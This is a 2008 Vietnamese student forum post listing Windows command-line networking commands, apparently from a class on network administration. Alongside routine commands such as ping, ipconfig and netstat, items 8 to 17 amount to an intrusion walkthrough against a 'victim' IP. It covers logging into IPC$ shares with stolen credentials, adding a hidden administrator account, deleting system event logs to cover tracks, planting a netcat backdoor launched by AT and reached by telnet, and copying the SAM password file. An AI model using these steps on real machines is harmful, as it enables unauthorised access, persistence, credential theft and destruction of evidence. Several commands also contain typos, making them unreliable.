IndexPortalTrợ giúpTìm kiếmThành viênNhómĐăng kýĐăng Nhập

Share | 
 

 Chi tiết các câu lệnh Dos dùng cho quản trị mạng

Xem chủ đề cũ hơn Xem chủ đề mới hơn Go down 
Tác giảThông điệp
dangnh
Thành Viên Vàng
Thành Viên Vàng


Tổng số bài gửi : 323
Điểm : 40
Thanks : 2
Join date : 07/09/2008
Age : 28
Đến từ : 06b3 FITHOU

Bài gửiTiêu đề: Chi tiết các câu lệnh Dos dùng cho quản trị mạng   Thu Oct 09, 2008 7:31 pm

Hum nay ca 1 học thực hành.... Thầy Đinh Tuấn Long có giới thiệu cơ bản các kiến thức về mạng local cũng nhưng các câu lệnh Dos được dùng phổ biến trong việc quản lý mạng máy tính. Đây là phần kiến thức rất quan trọng trong bộ môn này. Thầy có thông tin thêm trong bài thi hết môn sẽ có 1 bài về nội dung này. Các bạn ca 2 tuần sau sẽ được học nhưng mình cũng xin post một vài thông tin để các bạn tham khảo... có rì góp í và bổ sung thêm nhaz.... emoticon

Đầu tiên các bạn vào Dos vào Start=>Run, gõ CMD, ấn ENTER.
1. Lệnh Ping : Cú pháp: Code: ping ip/host [/t][/a][/l][/n]
ip: địa chỉ IP của máy cần kiểm tra;
host là tên của máy tính cần kiểm tra.
Người ta có thể sử dụng địa chỉ IP hoặc tên của máy tính.
- Tham số /t: Sử dụng tham số này để máy tính liên tục "ping" đến máy tính đích, cho đến khi bạn bấm Ctrl + C
- Tham số /a: Nhận địa chỉ IP từ tên host
- Tham số /l : Xác định độ rộng của gói tin gửi đi kiểm tra. Một số
hacker sử dụng tham số này để tấn công từ chối dịch vụ một máy tính
(Ping of Death - một loại DoS), nhưng tôi nghĩ là hacker có công cụ
riêng để ping một gói tin lớn như thế này, và phải có nhiều máy tính
cùng ping một lượt.
- Tham số /n : Xác định số gói tin sẽ gửi đi. Ví dụ: ping 174.178.0.1/n 5
Công dụng : + Lệnh này được sử dụng để kiểm tra xem một máy tính có kết
nối với mạng không. Lệnh Ping sẽ gửi các gói tin từ máy tính bạn đang
ngồi tới máy tính đích. Thông qua giá trị mà máy tính đích trả về đối
với từng gói tin, bạn có thể xác định được tình trạng của đường truyền
(chẳng hạn: gửi 4 gói tin nhưng chỉ nhận được 1 gói tin, chứng tỏ đường
truyền rất chậm (xấu)). Hoặc cũng có thể xác định máy tính đó có kết
nối hay không (Nếu không kết nối,kết quả là Unknow host)....

2. Lệnh Tracert :

Cú pháp : Code: tracert ip/host
Công dụng : + Lệnh này sẽ cho phép bạn "nhìn thấy" đường đi của các gói
tin từ máy tính của bạn đến máy tính đích, xem gói tin của bạn vòng qua
các server nào, các router nào... Quá hay nếu bạn muốn thăm dò một
server nào đó.

3. Lệnh Net Send : gởi thông điệp trên mạng (chỉ sử dụng trên hệ thống máy tình Win NT/2000/XP).
Cú pháp: Net send ip/host thông_điệp_muốn_gởi
Công dụng: + Lệnh này sẽ gửi thông điệp tới máy tính đích (có địa chỉ IP hoặc tên host) thông điệp: thông_điệp_muốn_gởi.
Trong mạng LAN, ta có thể sử dụng lệnh này để chat với nhau. Trong
phòng vi tính của trường các bạn có thể dùng lệnh này để ghẹo mọi
người! Bạn cũng có thể gởi cho tất cả các máy tính trong mạng LAN theo
cấu trúc sau : Code: Net send * hello!I'm pro_hacker

4. Lệnh Netstat :
Cú pháp: Code: Netstat [/a][/e][/n]
- Tham số /a: Hiển thị tất cả các kết nối và các cổng đang lắng nghe (listening)
- Tham số /e: hiển thị các thông tin thống kê Ethernet
- Tham số /n: Hiển thị các địa chỉ và các số cổng kết nối... Ngoải ra còn một vài tham số khác
Các bạn hãy gõ Netstat /? để biết thêm Công dụng :
+ Lệnh Netstat cho phép ta liệt kê tất cả các kết nối ra và vào máy tính của chúng ta.

5. Lệnh IPCONFIG :
Cú pháp: Code: ipconfig /all
Công dụng: + Lệnh này sẽ cho phép hiển thị cấu hình IP của máy tính bạn
đang sử dụng, như tên host, địa chỉ IP, mặt nạ mạng...

6. Lệnh FTP (truyền tải file):
Cú pháp: Code: ftp ip/host
Nếu kết nối thành công đến máy chủ, bạn sẽ vào màn hình ftp, có dấu nhắc như sau:
Code: ftp>_ Tại đây, bạn sẽ thực hiện các thao tác bằng tay với ftp,
thay vì dùng các chương trình kiểu Cute FTP, Flash FXP. Nếu kết nối
thành công, chương trình sẽ yêu cầu bạn nhập User name, Password. Nếu
username và pass hợp lệ, bạn sẽ được phép upload, duyệt file... trên
máy chủ.
Một số lệnh ftp cơ bản:
-cd thu_muc: chuyển sang thư mục khác trên máy chủ
- dir: Xem danh sách các file và thư mục của thư mục hiện thời trên máy chủ
- mdir thu_muc: Tạo một thư mục mới có tên thu_muc trên máy chủ
- rmdir thu_muc: Xoá (remove directory) một thư mục trên máy chủ
- put file: tải một file file (đầy đủ cả đường dẫn. VD: c:\tp\bin\baitap.exe) từ máy bạn đang sử dụng lên máy chủ.
- close: Đóng phiên làm việc
- quit: Thoát khỏi chương trình ftp, quay trở về chế độ DOS command.
Ngoài ra còn một vài lệnh nữa, xin mời các bạn tự tìm hiểu.
Công dụng : + FTP là một giao thức được sử dụng để gửi và nhận file
giữa các máy tính với nhau. Windows đã cài đặt sẵn lệnh ftp, có tác
dụng như một chương trình chạy trên nền console (văn bản), cho phép
thực hiện kết nối đến máy chủ ftp

7. Lệnh Net View :
Cú pháp: Code: Net View [\\computer|/Domain[:ten_domain]]
Công dụng: + Nếu chỉ đánh net view [enter], nó sẽ hiện ra danh sách các
máy tính trong mạng cùng domain quản lý với máy tính bạn đang sử dụng.
+ Nếu đánh net view \\tenmaytinh, sẽ hiển thị các chia sẻ tài nguyên
của máy tính tenmaytinh . Sau khi sử dụng lệnh này, các bạn có thể sử
dụng lệnh net use để sử dụng các nguồn tài nguyên chia sẻ này.

8. Lệnh Net Use :
Cú pháp: Code: Net use \\ip\ipc$ "pass" /user:"***"
- ip: địa chỉ IP của victim.
- ***: user của máy victim
- pass: password của user Giả sử ta có đc user và pass của victim có IP
là 68.135.23.25 trên net thì ta đã có thể kết nối đến máy tính đó rùi
đấy!
Ví dụ: user: vitim ; pass :12345 .
Ta dùng lệnh sau:
Code: Net use \\68.135.23.25\ipc$ "12345" /user:"victim"
Công dụng: + kết nói một IPC$ đến máy tính victim (bắt đầu quá trình xâm nhập).

9. Lệnh Net User :
Cú pháp: Code: Net User [username pass] [/add]
- Username : tên user cấn add
- pass : password của user cần add Khi đã add được user vào rùi thì ta tiến hành add user này vào nhóm administrator.
Code: Net Localgroup Adminstrator [username] [/add]
Công dụng: + Nếu ta chỉ đánh lệnh Net User thì sẽ hiển thị các user có trong máy
+ Nếu ta đánh lệnh Net User [username pass] [/add] thì máy tính sẽ tiến hành thêm một người dùng vào.
Ví dụ: ta tiến hành add thêm một user có tên là uanhoa , password là :banvatoi vào với cấu trúc lệnh như sau:
Code: Net User xuanhoa banvatoi /add
Sau đó add user xuanhoa vào nhóm adminnistrator
Code: Net Localgroup Administrator xuanhoa /add

10. Lệnh Shutdown:

Cú pháp: Code: Shutdown [-m \\ip] [-t xx] [-i] [-l] [-s] [-r] [-a] [-f] [-c "commet] [-d up x:yy] (áp dụng cho win XP)
- Tham số -m\\ip : ra lệnh cho một máy tính từ xa thực hiên các lệnh shutdown, restart,..
- Tham số -t xx : đặt thời gian cho việc thực hiện lệnh shutdown.
- Tham số -l : logg off (lưu ý ko thể thực hiện khi remote)
- Tham số -s : shutdown
- Tham số -r : shutdown và restart
- Tham số -a : không cho shutdown
- Tham số -f : shutdown mà ko cảnh báo
- Tham số -c "comment" : lời cảnh báo trước khi shutdown
- Tham số -d up x:yy : ko rõ Code: shutdown \\ip (áp dụng win NT)
Để rõ hơn về lệnh shutdown bạn có thể gõ shutdown /? để được hướng dẫn cụ thể hơn!
Công dụng: + Shutdown máy tính.

11. Lệnh DIR :

Cú pháp: Code: DIR [drive:][path][filename] Lệnh này quá căn bản rùi, chắc tui khỏi hướng dẫn.
Để rõ hơn bạn đánh lệnh DIR /? để được hướng dẫn.
Công dụng: + Để xem file, folder.

12. Lệnh DEL :

Cú pháp: Code: DEL [drive:][path][filename] Lệnh này cũng căn bản rùi, ko phải nói nhìu.
Công dụng: Xóa một file, thông thường sau khi xâm nhập vào hệ thống, ta
phái tiến hành xóa dấu vết của mình để khỏi bị phát hiện.
Sau đây là những files nhật ký của Win NT:
Code: del C:\winnt\system32\logfiles\*.*
del C:\winnt\ssytem32\config\*.evt
del C:\winnt\system32\dtclog\*.*
del C:\winnt\system32\*.log
del C:\winnt\system32\*.txt
del C:\winnt\*.txt del C:\winnt\*.log

13. Lệnh tạo ổ đĩa ảo trên computer:
Cú pháp:
Code: Net use z: \\ip\C$ ( hoặc là IPC$ )
- Z là của mình...còn C$ là của Victim
Công dụng: Tạo 1 đĩa ảo trên máy tính (lệnh này mình cũng không nắm rõ nên ko thể hướng dẫn chi tiết đc)

14. Lệnh Net Time :

Cú pháp: Code: Net Time \\ip
Công dụng: + Cho ta biết thời gian của victim, sau đó dùng lệnh AT để
khởi động chương trình. (các bạn có thể tham khảo lệnh AT tại phần
basic to hacking ở phần hacking and securities trong diễn đàn dttx.org)

15. Lệnh AT:

Cú pháp: Code: AT \\ip
Công
dụng: + Thông thường khi xâm nhập vào máy tính victim khi rút lui thì
ta sẽ tặng quà lưu niệm lên máy tính victim, khi đã copy troj hoặc
backdoor lên máy tính rùi ta sẽ dùng lệnh at để khởi động chúng.
Ví dụ: ở đây tui có con troj tên nc.exe (NC là từ viết tắc của
NETCAT....nó là một telnet server với port 99) và đc copy lên máy
victim rùi. Đầu tiên ta cần biết thời gian của victim có IP là :
68.135.23.25 .
Code: Net Time \\68.135.23.25 Bây h nó sẽ phản hồi cho ta thời gian của victim,
ví dụ : 12:00. Code: AT \\68.135.23.25 12:3 nc.exe Đợi đến 12:3 là nó
sẽ tự chạy trên máy nạn nhân và chúng ta có thể connected đến port 99.

16. Lệnh Telnet:
Cú pháp: Code: telnet host port
Gõ telnet /? để biết thêm chi tiết.
Nhưng nếu như máy victim đã dính con nc rồi thì ta chỉ cần connect đến port 99 là OKie
Code: telnet 68.135.23.25 99
Công dụng: + Kết nối đến host qua port xx

17. Lệnh COPY:

Cú pháp: Code: COPY /? Dùng lệnh trên để rõ hơn!
Công dụng: + Copy file, ở đây chắc mình khỏi nói thêm nhé.
Ví dụ:chúng ta copy files index trên ổ C của mình lên ổ C của 127.0.0.1
Code: Copy Index.html \\127.0.0.1\C$\index.html
nếu bạn copy lên folder winNt
Code: Copy index.html \\127.0.0.1\admin$\index.html
muốn copy files trên máy victm thì bạn gõ vào :
Code: Copy \\127.0.0.1\Admin$\repair\sam._c:\
lưu ý : code ở đây được hiểu là mã lệnh các bạn không nên gõ vào chữ
code, nếu gõ code thì các bạn không thực hiện được những dòng mã lệnh
phía trên đâu

18. Lệnh SET:
Cú pháp: Code: SET
Công dụng: + Displays, sets, or removes cmd.exe enviroment variables.

19. Lệnh Nbtstat:
Cú pháp: Code: Nbtstat /? Gõ lệnh trên để rõ hơn về lệnh này.
Công dụng: + Display protocol statistic and curent TCP/IP connections using NBT (netbios over TCP?IP)

_________________



Xin chân thành cảm ơn các tổ chức đã giúp đỡ chúng tôi xây dựng 4rum này!!!
Về Đầu Trang Go down
Xem lý lịch thành viên http://06b3.friendhood.net/forum.htm
 
Chi tiết các câu lệnh Dos dùng cho quản trị mạng
Xem chủ đề cũ hơn Xem chủ đề mới hơn Về Đầu Trang 
Trang 1 trong tổng số 1 trang

Permissions in this forum:Bạn không có quyền trả lời bài viết
06B3 :: HỌC TẬP :: Hệ Thống/ Mạng/ Bảo Mật-
Chuyển đến